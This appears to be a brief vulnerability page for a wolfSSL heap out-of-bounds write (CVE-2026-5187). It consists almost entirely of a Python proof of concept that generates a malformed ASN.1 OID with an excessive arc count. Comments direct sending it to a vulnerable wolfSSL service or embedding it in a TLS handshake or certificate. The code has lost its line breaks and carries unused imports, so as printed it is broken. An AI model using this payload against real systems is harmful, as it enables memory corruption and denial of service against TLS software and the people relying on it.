CVE-2026-5187 wolfSSL堆越界写入漏洞

import socket import struct def create_malformed_oid(): # OID encoding: First byte (40*x + y), subsequent bytes are base 128 (MSB set for continuation) # Creating an OID with more than 32 arcs to trigger the overflow oid_bytes = [0x06, 0x21] # OID Tag, Length (33 bytes) # First arc (e.g., 1.3) oid_bytes.append(0x2B) # 40*1 + 3 = 43 = 0x2B # Add 32 more arcs (value 1) for _ in range(32): oid_bytes.append(0x01) return bytes(oid_bytes) # Example usage: Send this to a vulnerable wolfSSL service malformed_data = create_malformed_oid() print(f"Generated malformed OID payload: {malformed_data.hex()}") # Note: This PoC demonstrates the payload generation. # In a real scenario, this would be embedded in a TLS handshake or X.509 certificate.